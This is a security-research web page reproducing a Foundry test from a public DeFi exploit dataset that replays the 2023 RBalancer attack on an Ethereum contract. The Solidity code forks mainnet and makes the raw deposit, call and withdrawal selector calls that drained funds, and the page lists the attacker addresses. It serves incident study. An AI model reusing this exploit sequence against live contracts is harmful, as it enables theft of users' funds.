Skip to content
THREATWIRE

Public reproduction file

src/test/2023-11/RBalancer_exp.sol

Public reproduction file for dataset entry RBalancer.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-11/RBalancer_exp.sol48 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~17 ETH
8// TX : https://app.blocksec.com/explorer/tx/eth/0xbf5b2d22fa88965ddfc6e6d685fc7cfc683340c49e126386759ed9e4027b1415
9// Attacker : https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57
10// Attack Contract : https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b33047
11// GUY : https://x.com/AnciliaInc/status/1722121056083943909
13contract ContractTest is Test {
14 WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
15 IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);
16 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
17 address Vulncontract = 0xA62F9C5af106FeEE069F38dE51098D9d81B90572;
19 function setUp() public {
20 vm.createSelectFork("mainnet", 18_523_440);
21 }
23 function testExpolit() public {
24 emit log_named_decimal_uint(
25 "attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
26 );
27 emit log_named_decimal_uint("attacker balance before attack", address(this).balance, 18);
29 attack();
31 emit log_named_decimal_uint(
32 "attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
33 );
34 emit log_named_decimal_uint("attacker balance after attack", address(this).balance, 18);
35 }
37 function attack() public {
38 address(Vulncontract).call{value: 8600 ether}(abi.encodeWithSelector(bytes4(0xd0e30db0)));
40 address(Vulncontract).call(abi.encodeWithSelector(bytes4(0x5069fb57)));
42 Stone.approve(address(Vulncontract), type(uint256).max);
44 address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xb18f2e91), 0, 8_582_162_020_025_013_545_654));
45 }
47 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “RBalancer” (2023-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57

  • Attack Contract

    0x9c52c485edd3d22847a1614b8988fbf520b33047

File record

Name
RBalancer
Path
src/test/2023-11/RBalancer_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ce1fafda45b1500d0e4101bb21fbe2ab673f8031
Language
Solidity
Size
49 lines
Date
2023-11-07
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-11/RBalancer_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ce1fafda45b1500d0e4101bb21fbe2ab673f8031, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.